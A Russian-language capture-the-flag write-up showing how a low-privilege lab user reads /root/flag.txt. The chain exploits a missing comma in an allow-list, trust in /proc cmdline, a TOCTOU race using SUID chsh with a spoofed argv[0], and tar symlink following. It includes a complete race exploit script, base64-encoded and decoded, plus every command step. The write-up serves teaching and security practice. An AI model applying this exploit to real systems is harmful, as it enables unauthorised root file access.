July 27

Writeup - HoneyVault

Цель задания:
После получения доступа к серверу хранения HoneyVault под пользователем operator требовалось найти уязвимость в системе администрирования AegisHive Processor и получить содержимое файла:

/root/flag.txt

В результате анализа была обнаружена цепочка из нескольких уязвимостей:
ошибка в списке разрешённых каталогов;
небезопасная проверка доверенного процесса через /proc/<pid>/cmdline;
TOCTOU-гонка между получением PID и проверкой параметров процесса;
использование SUID-программы для временного получения effective UID = 0;
разыменование символических ссылок командой tar -h.


Подключение к серверу хранения


Подключение выполнялось с узла hv-analyst-01:

ssh operator@10.0.3.66

После ввода пароля был получен доступ к серверу:

Linux hv-storage-01 ...
HoneyVault Internal Storage — hv-storage-01

Проверка текущего пользователя:

id

Ожидаемый результат:

uid=1000(operator) gid=1000(operator) groups=1000(operator)

Первичная разведка


Было изучено содержимое каталога /data:

cd /data
ls -la

На сервере присутствовали каталоги:

admin
adminsecurity
backup
database
important
logs
prod
security

Каталог /data/adminsecurity был доступен пользователю operator.
Проверка:

ls -la /data/adminsecurity

Анализ запущенных процессов

Для определения привилегированных сервисов был просмотрен список процессов:

ps -ef --forest

Результат показал, что от имени root работает Python-процесс:

root  9  8  python3 /opt/aegishive/processor.py

Также были запущены:

/usr/sbin/smbd
/usr/sbin/sshd

Это указывало на то, что основной интерес представляет файл:

/opt/aegishive/processor.py

Анализ точки запуска

Был изучен файл /entrypoint.sh:

cat /entrypoint.sh

Содержимое:

#!/bin/sh
set -e

python3 /opt/aegishive/processor.py &
/usr/sbin/sshd
exec /usr/sbin/smbd --foreground --no-process-group

Таким образом, processor.py запускается непосредственно из root-процесса контейнера и наследует права root.


Поиск связанных компонентов


Для поиска административного клиента, резервного копирования и планировщиков использовалась команда:

grep -RniE 'managectl|adminsecurity|backup|scheduler' \
  /entrypoint.sh /etc/cron* /etc/systemd /opt /usr/local \
  2>/dev/null

Среди результатов были обнаружены строки:

/opt/aegishive/processor.py:13:SOCKET_PATH = "/var/run/managectl.sock"
/opt/aegishive/processor.py:22:    "backup",
/opt/aegishive/processor.py:26:TRUSTED_CMDLINE_REGEX = r"^(/usr/local/sbin/managectl|managectl) "
/opt/aegishive/processor.py:79:def run_backup(directory):
/opt/aegishive/processor.py:147:    if command == "backup":

Это показало, что сервис принимает административные команды через Unix-сокет:

/var/run/managectl.sock

Анализ исходного кода AegisHive Processor


Исходный код был прочитан командой:

sed -n '1,240p' /opt/aegishive/processor.py

Ключевые части кода:

SOCKET_PATH = "/var/run/managectl.sock"
DATA_ROOT = Path("/data")

Список разрешённых каталогов:

ALLOWED_DIRECTORIES = [
    "prod",
    "admin"
    "security",
    "database",
    "important",
    "backup",
    "logs"
]

Проверка доверенного процесса:

TRUSTED_CMDLINE_REGEX = r"^(/usr/local/sbin/managectl|managectl) "

Получение PID клиента:

def get_peer_pid(sock):
    ucred_size = struct.calcsize("3I")
    creds = sock.getsockopt(
        socket.SOL_SOCKET,
        socket.SO_PEERCRED,
        ucred_size
    )
    pid = struct.unpack("I", creds[:4])[0]
    return pid

Чтение командной строки процесса:

def get_process_cmdline(pid):
    with open(f"/proc/{pid}/cmdline", "rb") as f:
        return (
            f.read()
            .replace(b"\0", b" ")
            .decode(errors="replace")
            .strip()
        )

Чтение UID процесса:

def get_process_uids(pid):
    with open(f"/proc/{pid}/status", "r") as f:
        for line in f:
            if match := re.match(
                r"^Uid:\s+(\d+)\s+(\d+)",
                line
            ):
                ruid = int(match.group(1))
                euid = int(match.group(2))
                return ruid, euid

Проверка прав:

def check_permissions(pid):
    cmdline = get_process_cmdline(pid)

    if not re.match(TRUSTED_CMDLINE_REGEX, cmdline):
        return False, "untrusted process name"

    ruid, euid = get_process_uids(pid)

    ...

    if rusername != "root" and eusername != "root":
        return False, f"uid {euid} ({eusername}) denied"

    return True, "ok"

Резервное копирование:

result = subprocess.run(
    [
        "tar",
        "-chf",
        str(archive),
        "-C",
        str(DATA_ROOT),
        directory
    ],
    capture_output=True,
    text=True,
)

Первая уязвимость: неявная конкатенация строк

В списке разрешённых каталогов отсутствует запятая между строками:

"admin"
"security",

В Python соседние строковые литералы автоматически объединяются:

"admin" "security"

превращается в:

"adminsecurity"

Фактический список разрешённых каталогов содержит:

prod
adminsecurity
database
important
backup
logs

Следовательно, каталог:

/data/adminsecurity

разрешён для резервного копирования.


Вторая уязвимость: разыменование символических ссылок

Для создания архива используется команда:

tar -chf

Параметр:

-h

означает:

follow symbolic links

То есть tar помещает в архив не саму символическую ссылку, а содержимое файла, на который она указывает.
Пользователь operator мог создавать файлы внутри /data/adminsecurity.
Поэтому была создана ссылка:

mkdir -p /data/adminsecurity
ln -sf /root/flag.txt /data/adminsecurity/root-flag.txt

Проверка:

ls -la /data/adminsecurity

Результат:

lrwxrwxrwx 1 operator operator 14 Jul 19 13:10 root-flag.txt -> /root/flag.txt

Если root-сервис выполнит резервное копирование этого каталога, tar -h прочитает /root/flag.txt с правами root и поместит его содержимое в архив.

Проверка прямого обращения к сокету


Была предпринята попытка отправить команду напрямую через Python:

python3 - <<'PY'
import socket

path = "/var/run/managectl.sock"

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect(path)
s.sendall(b"help\n")
s.shutdown(socket.SHUT_WR)

while True:
    data = s.recv(4096)
    if not data:
        break
    print(data.decode(errors="replace"), end="")
PY

Ответ:

{"ok": false, "error": "untrusted process name"}

Причина заключалась в том, что командная строка клиента начиналась с python3, а сервис разрешал только процессы, начинающиеся с:

/usr/local/sbin/managectl

или:

managectl

Анализ административного клиента

Был найден клиент:

ls -la /usr/local/sbin/managectl

Результат:

-rwxr-xr-x 1 root root 3328054 Jul 15 22:51 /usr/local/sbin/managectl

Попытка запуска:

/usr/local/sbin/managectl backup adminsecurity

Результат:

managectl: uid 1000 (operator) denied

Это означало, что проверка имени процесса была успешно пройдена, но клиент работал с UID пользователя operator.


Проверка SUID и capabilities

Проверка capabilities:

getcap /usr/local/sbin/managectl 2>/dev/null

Результат отсутствовал.
Проверка атрибутов файла:

stat /usr/local/sbin/managectl

Результат:

Access: (0755/-rwxr-xr-x)
Uid: (0/root)
Gid: (0/root)

Файл не имел SUID-бита.
Далее был выполнен поиск SUID-файлов:

find / -perm -4000 -type f -ls 2>/dev/null

Среди прочего были обнаружены:

/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/umount
/usr/bin/sudo

Особый интерес представляли SUID-root программы:

/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/su

Третья уязвимость: доверие к /proc/<pid>/cmdline


Сервис проверял не реальный исполняемый файл процесса, а только:

/proc/<pid>/cmdline

Значение argv[0] может контролироваться вызывающим процессом.
Например, при использовании execve() можно запустить /usr/bin/chsh, но указать в argv[0] строку:

managectl

В результате реальным исполняемым файлом будет:

/usr/bin/chsh

но /proc/<pid>/cmdline будет начинаться с:

managectl 

и удовлетворять регулярному выражению:

r"^(/usr/local/sbin/managectl|managectl) "

Четвёртая уязвимость: TOCTOU-гонка


Сервис выполнял действия последовательно:

pid = get_peer_pid(conn)
allowed, msg = check_permissions(pid)

Внутри check_permissions() сначала читалась командная строка:

cmdline = get_process_cmdline(pid)

а затем UID:

ruid, euid = get_process_uids(pid)

Между подключением клиента, получением PID и чтением /proc/<pid> существовало окно гонки.
Клиент мог:

  • подключиться к сокету как обычный Python-процесс;
  • отправить команду backup adminsecurity;
  • выполнить execve() SUID-root программы;
  • заменить argv[0] на managectl ;
  • временно получить effective UID = 0.


Подтверждение поведения SUID-программы

Для подтверждения был запущен тест:

python3 -c '
import os
os.execv(
    "/usr/bin/chsh",
    ["managectl ", "operator"]
)
' &

PID=$!

for i in $(seq 1 100); do
    [ -r "/proc/$PID/status" ] || break

    echo -n "cmdline: "
    tr "\0" " " < "/proc/$PID/cmdline"
    echo

    grep "^Uid:" "/proc/$PID/status"
done

В определённый момент был получен результат:

cmdline: managectl  operator
Uid:    1000    0    0    0

Формат строки Uid в /proc/<pid>/status:

Real UID
Effective UID
Saved set UID
Filesystem UID

Следовательно:

ruid = 1000
euid = 0

Проверка AegisHive Processor считала такой процесс разрешённым, поскольку условие было:

if rusername != "root" and eusername != "root":
    deny

При euid = 0 процесс принимался как root-процесс.
15. Подготовка эксплуатации
Сначала были остановлены оставшиеся тестовые процессы:

pkill -9 -u operator chsh 2>/dev/null
pkill -9 -u operator chfn 2>/dev/null
pkill -9 -u operator passwd 2>/dev/null

Затем был восстановлен каталог и символическая ссылка:

mkdir -p /data/adminsecurity
ln -sf /root/flag.txt /data/adminsecurity/root-flag.txt

Проверка:

ls -la /data/adminsecurity

Результат:

total 0
drwxr-xr-x 2 operator operator 35 Jul 19 13:10 .
drwxrwxrwt 1 root     root     35 Jul 19 13:10 ..
lrwxrwxrwx 1 operator operator 14 Jul 19 13:10 root-flag.txt -> /root/flag.txt

Старые архивы были удалены:

rm -f /data/backup/adminsecurity-*.tar

Эксплуатационный скрипт

Для надёжной эксплуатации использовался Python-скрипт с псевдотерминалом.
PTY позволял SUID-программе chsh дольше находиться в состоянии, в котором:

cmdline начинается с managectl
euid равен 0

Скрипт был создан через Base64, чтобы избежать повреждения форматирования при вставке в терминал:

echo 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgZ2xvYgppbXBvcnQgb3MKaW1wb3J0IHB0eQppbXBvcnQgc2lnbmFsCmltcG9ydCBzb2NrZXQKaW1wb3J0IHRpbWUKClNPQ0sgPSAiL3Zhci9ydW4vbWFuYWdlY3RsLnNvY2siCkNNRCA9IGIiYmFja3VwIGFkbWluc2VjdXJpdHlcbiIKTElNSVQgPSAxMgpjaGlsZHJlbiA9IHt9CgpkZWYgcmVhcCgpOgogICAgZm9yIHBpZCwgZmQgaW4gbGlzdChjaGlsZHJlbi5pdGVtcygpKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGRvbmUsIF8gPSBvcy53YWl0cGlkKHBpZCwgb3MuV05PSEFORykKICAgICAgICBleGNlcHQgQ2hpbGRQcm9jZXNzRXJyb3I6CiAgICAgICAgICAgIGRvbmUgPSBwaWQKICAgICAgICBpZiBkb25lOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5jbG9zZShmZCkKICAgICAgICAgICAgZXhjZXB0IE9TRXJyb3I6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGNoaWxkcmVuLnBvcChwaWQsIE5vbmUpCgpkZWYgc3Bhd24oKToKICAgIHBpZCwgZmQgPSBwdHkuZm9yaygpCiAgICBpZiBwaWQgPT0gMDoKICAgICAgICB0cnk6CiAgICAgICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9VTklYLCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgICAgIHMuY29ubmVjdChTT0NLKQogICAgICAgICAgICBzLnNlbmRhbGwoQ01EKQogICAgICAgICAgICBvcy5leGVjdigiL3Vzci9iaW4vY2hzaCIsIFsibWFuYWdlY3RsICIsICJvcGVyYXRvciJdKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgIG9zLl9leGl0KDEpCiAgICBjaGlsZHJlbltwaWRdID0gZmQKCmFyY2hpdmUgPSBOb25lCnRyeToKICAgIHdoaWxlIGFyY2hpdmUgaXMgTm9uZToKICAgICAgICByZWFwKCkKICAgICAgICB3aGlsZSBsZW4oY2hpbGRyZW4pIDwgTElNSVQ6CiAgICAgICAgICAgIHNwYXduKCkKICAgICAgICBmaWxlcyA9IGdsb2IuZ2xvYigiL2RhdGEvYmFja3VwL2FkbWluc2VjdXJpdHktKi50YXIiKQogICAgICAgIGlmIGZpbGVzOgogICAgICAgICAgICBhcmNoaXZlID0gbWF4KGZpbGVzLCBrZXk9b3MucGF0aC5nZXRtdGltZSkKICAgICAgICAgICAgYnJlYWsKICAgICAgICB0aW1lLnNsZWVwKDAuMDA1KQpmaW5hbGx5OgogICAgZm9yIHBpZCBpbiBsaXN0KGNoaWxkcmVuKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIG9zLmtpbGwocGlkLCBzaWduYWwuU0lHS0lMTCkKICAgICAgICBleGNlcHQgUHJvY2Vzc0xvb2t1cEVycm9yOgogICAgICAgICAgICBwYXNzCiAgICBmb3IgcGlkLCBmZCBpbiBsaXN0KGNoaWxkcmVuLml0ZW1zKCkpOgogICAgICAgIHRyeToKICAgICAgICAgICAgb3Mud2FpdHBpZChwaWQsIDApCiAgICAgICAgZXhjZXB0IENoaWxkUHJvY2Vzc0Vycm9yOgogICAgICAgICAgICBwYXNzCiAgICAgICAgdHJ5OgogICAgICAgICAgICBvcy5jbG9zZShmZCkKICAgICAgICBleGNlcHQgT1NFcnJvcjoKICAgICAgICAgICAgcGFzcwoKcHJpbnQoYXJjaGl2ZSkK' | base64 -d > /tmp/race.py

Проверка корректности Python-кода:

python3 -m py_compile /tmp/race.py && echo '[+] Script OK'

Результат:

[+] Script OK

Исходный код эксплуатационного скрипта


Декодированный скрипт имел следующий вид:

#!/usr/bin/env python3
import glob
import os
import pty
import signal
import socket
import time

SOCK = "/var/run/managectl.sock"
CMD = b"backup adminsecurity\n"
LIMIT = 12

children = {}


def reap():
    for pid, fd in list(children.items()):
        try:
            done, _ = os.waitpid(pid, os.WNOHANG)
        except ChildProcessError:
            done = pid

        if done:
            try:
                os.close(fd)
            except OSError:
                pass

            children.pop(pid, None)


def spawn():
    pid, fd = pty.fork()

    if pid == 0:
        try:
            s = socket.socket(
                socket.AF_UNIX,
                socket.SOCK_STREAM
            )

            s.connect(SOCK)
            s.sendall(CMD)

            os.execv(
                "/usr/bin/chsh",
                ["managectl ", "operator"]
            )

        except Exception:
            os._exit(1)

    children[pid] = fd


archive = None

try:
    while archive is None:
        reap()

        while len(children) < LIMIT:
            spawn()

        files = glob.glob(
            "/data/backup/adminsecurity-*.tar"
        )

        if files:
            archive = max(
                files,
                key=os.path.getmtime
            )
            break

        time.sleep(0.005)

finally:
    for pid in list(children):
        try:
            os.kill(pid, signal.SIGKILL)
        except ProcessLookupError:
            pass

    for pid, fd in list(children.items()):
        try:
            os.waitpid(pid, 0)
        except ChildProcessError:
            pass

        try:
            os.close(fd)
        except OSError:
            pass

print(archive)

Принцип работы эксплуатационного скрипта

Для каждой попытки выполнялись следующие действия.
Создание дочернего процесса с PTY:

pid, fd = pty.fork()

Подключение к административному Unix-сокету:

s = socket.socket(
    socket.AF_UNIX,
    socket.SOCK_STREAM
)

s.connect("/var/run/managectl.sock")

Отправка команды:

s.sendall(b"backup adminsecurity\n")

После отправки команды процесс заменялся на SUID-root программу:

os.execv(
    "/usr/bin/chsh",
    ["managectl ", "operator"]
)

В этот момент:

  • PID процесса не менялся;
  • реальным исполняемым файлом становился /usr/bin/chsh;
  • argv[0] становился managectl ;
  • /proc/<pid>/cmdline проходил регулярное выражение;
  • chsh временно имел effective UID = 0.

Root-сервис считывал данные процесса в удачный момент и разрешал выполнение команды:

backup adminsecurity

Эксплуатация


Скрипт был запущен:

python3 /tmp/race.py

После успешной гонки был получен путь к архиву:

/data/backup/adminsecurity-20260719131103.tar

Это означало, что root-процесс успешно выполнил:

backup adminsecurity

Проверка созданного архива


Последний созданный архив был записан в переменную:

A="$(ls -t /data/backup/adminsecurity-*.tar | head -n1)"

Путь был выведен:

echo "[+] Archive: $A"

Результат:

[+] Archive: /data/backup/adminsecurity-20260719131103.tar

Содержимое архива:

tar -tf "$A"

Результат:

adminsecurity/
adminsecurity/root-flag.txt

Это подтвердило, что символическая ссылка была разыменована, а файл /root/flag.txt попал в архив под именем:

adminsecurity/root-flag.txt

Получение флага


Файл был прочитан непосредственно из архива без распаковки на диск:

tar -xOf "$A" adminsecurity/root-flag.txt

Итоговая последовательность команд


Минимальная последовательность после обнаружения уязвимости выглядела следующим образом.
Остановка старых процессов:

pkill -9 -u operator chsh 2>/dev/null
pkill -9 -u operator chfn 2>/dev/null
pkill -9 -u operator passwd 2>/dev/null

Создание разрешённого каталога и симлинка:

mkdir -p /data/adminsecurity
ln -sf /root/flag.txt /data/adminsecurity/root-flag.txt

Проверка:

ls -la /data/adminsecurity

Удаление старых архивов:

rm -f /data/backup/adminsecurity-*.tar

Создание эксплуатационного скрипта:

echo 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgZ2xvYgppbXBvcnQgb3MKaW1wb3J0IHB0eQppbXBvcnQgc2lnbmFsCmltcG9ydCBzb2NrZXQKaW1wb3J0IHRpbWUKClNPQ0sgPSAiL3Zhci9ydW4vbWFuYWdlY3RsLnNvY2siCkNNRCA9IGIiYmFja3VwIGFkbWluc2VjdXJpdHlcbiIKTElNSVQgPSAxMgpjaGlsZHJlbiA9IHt9CgpkZWYgcmVhcCgpOgogICAgZm9yIHBpZCwgZmQgaW4gbGlzdChjaGlsZHJlbi5pdGVtcygpKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGRvbmUsIF8gPSBvcy53YWl0cGlkKHBpZCwgb3MuV05PSEFORykKICAgICAgICBleGNlcHQgQ2hpbGRQcm9jZXNzRXJyb3I6CiAgICAgICAgICAgIGRvbmUgPSBwaWQKICAgICAgICBpZiBkb25lOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5jbG9zZShmZCkKICAgICAgICAgICAgZXhjZXB0IE9TRXJyb3I6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGNoaWxkcmVuLnBvcChwaWQsIE5vbmUpCgpkZWYgc3Bhd24oKToKICAgIHBpZCwgZmQgPSBwdHkuZm9yaygpCiAgICBpZiBwaWQgPT0gMDoKICAgICAgICB0cnk6CiAgICAgICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9VTklYLCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgICAgIHMuY29ubmVjdChTT0NLKQogICAgICAgICAgICBzLnNlbmRhbGwoQ01EKQogICAgICAgICAgICBvcy5leGVjdigiL3Vzci9iaW4vY2hzaCIsIFsibWFuYWdlY3RsICIsICJvcGVyYXRvciJdKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgIG9zLl9leGl0KDEpCiAgICBjaGlsZHJlbltwaWRdID0gZmQKCmFyY2hpdmUgPSBOb25lCnRyeToKICAgIHdoaWxlIGFyY2hpdmUgaXMgTm9uZToKICAgICAgICByZWFwKCkKICAgICAgICB3aGlsZSBsZW4oY2hpbGRyZW4pIDwgTElNSVQ6CiAgICAgICAgICAgIHNwYXduKCkKICAgICAgICBmaWxlcyA9IGdsb2IuZ2xvYigiL2RhdGEvYmFja3VwL2FkbWluc2VjdXJpdHktKi50YXIiKQogICAgICAgIGlmIGZpbGVzOgogICAgICAgICAgICBhcmNoaXZlID0gbWF4KGZpbGVzLCBrZXk9b3MucGF0aC5nZXRtdGltZSkKICAgICAgICAgICAgYnJlYWsKICAgICAgICB0aW1lLnNsZWVwKDAuMDA1KQpmaW5hbGx5OgogICAgZm9yIHBpZCBpbiBsaXN0KGNoaWxkcmVuKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIG9zLmtpbGwocGlkLCBzaWduYWwuU0lHS0lMTCkKICAgICAgICBleGNlcHQgUHJvY2Vzc0xvb2t1cEVycm9yOgogICAgICAgICAgICBwYXNzCiAgICBmb3IgcGlkLCBmZCBpbiBsaXN0KGNoaWxkcmVuLml0ZW1zKCkpOgogICAgICAgIHRyeToKICAgICAgICAgICAgb3Mud2FpdHBpZChwaWQsIDApCiAgICAgICAgZXhjZXB0IENoaWxkUHJvY2Vzc0Vycm9yOgogICAgICAgICAgICBwYXNzCiAgICAgICAgdHJ5OgogICAgICAgICAgICBvcy5jbG9zZShmZCkKICAgICAgICBleGNlcHQgT1NFcnJvcjoKICAgICAgICAgICAgcGFzcwoKcHJpbnQoYXJjaGl2ZSkK' | base64 -d > /tmp/race.py

Проверка скрипта:

python3 -m py_compile /tmp/race.py

Запуск гонки:

python3 /tmp/race.py

Определение созданного архива:

A="$(ls -t /data/backup/adminsecurity-*.tar | head -n1)"

Просмотр содержимого:

tar -tf "$A"

Чтение флага:

tar -xOf "$A" adminsecurity/root-flag.txt

Полная цепочка эксплуатации

Цепочка выглядела следующим образом:

Пользователь operator
        |
        v
Создание /data/adminsecurity/root-flag.txt
        |
        v
Симлинк на /root/flag.txt
        |
        v
Подключение к /var/run/managectl.sock
        |
        v
Отправка команды backup adminsecurity
        |
        v
execve("/usr/bin/chsh", ["managectl ", "operator"])
        |
        v
cmdline соответствует trusted regex
        |
        v
effective UID временно равен root
        |
        v
TOCTOU-проверка успешно пройдена
        |
        v
Root-сервис запускает tar -chf
        |
        v
tar -h разыменовывает симлинк
        |
        v
/root/flag.txt попадает в архив
        |
        v
Флаг извлекается через tar -xOf